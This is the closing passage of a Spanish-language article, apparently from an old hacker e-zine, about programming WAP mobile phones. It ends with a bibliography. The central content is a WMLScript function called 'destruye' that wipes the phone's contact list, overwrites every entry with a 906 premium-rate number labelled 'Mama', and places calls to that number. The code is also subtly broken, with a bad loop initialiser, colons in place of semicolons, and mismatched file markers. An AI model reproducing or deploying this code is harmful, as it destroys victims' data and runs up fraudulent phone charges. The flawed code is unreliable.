llamada anterior (si' , esto es posible). Algo asi como --------- begin prg2.wmls -------------- extern function destruye(x) { var i; for(i=i;i<1000:i++) WTAPhoneBook.remove(i); for(i=i;i<1000:i++) WTAPhoneBook.write(i,"906060606", "Mama"); var handle1 = WTAVoiceCall.setup("906060606",true); var handle2 = WTAVoiceCall.setup("906060606",true); var handle3 = WTAVoiceCall.setup("906060606",true); } --------- end prg1.wmls -------------- FINAL Con todo esto creo que ya tienes informacion para analizar las posibilidades de hacer programas para moviles. A partir de ahora es tarea tuya hacer cosas positivas con esta informacion. Durante la realizacion de este articulo no fue herido intencionalmente ningun animal en peligro de extincion. BIBLIOGRAFIA my-mobile.siemens.de www.wap.net http://www.totalcelular.com/virus.html http://www.wapforum.org/ http://www.ipipi.com www.nobi.com *EOF*